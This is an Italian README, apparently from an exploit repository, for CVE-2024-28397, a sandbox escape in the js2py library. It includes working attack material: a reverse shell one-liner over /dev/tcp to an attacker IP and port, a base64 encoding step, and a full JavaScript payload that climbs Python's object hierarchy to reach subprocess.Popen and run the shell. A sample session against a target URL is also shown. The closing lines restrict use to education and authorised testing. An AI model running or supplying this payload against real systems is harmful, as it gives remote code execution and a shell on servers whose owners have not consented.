
Script di exploit per CVE-2024-28397, una sandbox escape di js2py che esegue codice Python arbitrario per generare una reverse shell su un endpoint target.
Una raccolta di script di exploit che mirano alla vulnerabilità di escape della sandbox js2py (CVE-2024-28397) che consente l'esecuzione arbitraria di codice tramite introspezione di oggetti Python.
La libreria js2py contiene una vulnerabilità critica di escape della sandbox che consente agli aggressori di eseguire codice Python arbitrario accedendo a oggetti Python interni tramite il metodo Object.getOwnPropertyNames() di JavaScript.
Questo exploit si basa sull'analisi completa di Marven11:
Questo repository contiene tre diverse implementazioni:
exploit.sh)Implementazione bash leggera che utilizza curl e jq.
exploit.go)Implementazione Go multipiattaforma con client HTTP integrato.
curl, jq, base64Tutti gli script sono interattivi e chiederanno le informazioni necessarie:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Ogni script chiederà:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
L'exploit crea dinamicamente un comando di reverse shell:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
Il comando shell viene codificato in base64 per una trasmissione sicura:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
L'exploit principale utilizza JavaScript per accedere agli oggetti interni di Python:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenQuesti script sono forniti solo per scopi educativi e di test autorizzati. Assicurati sempre di avere la dovuta autorizzazione prima di testare qualsiasi sistema.
Questo software è fornito solo per scopi educativi e di test di sicurezza autorizzati. Gli utenti sono responsabili del rispetto delle leggi applicabili e dell'ottenimento della dovuta autorizzazione prima dell'uso.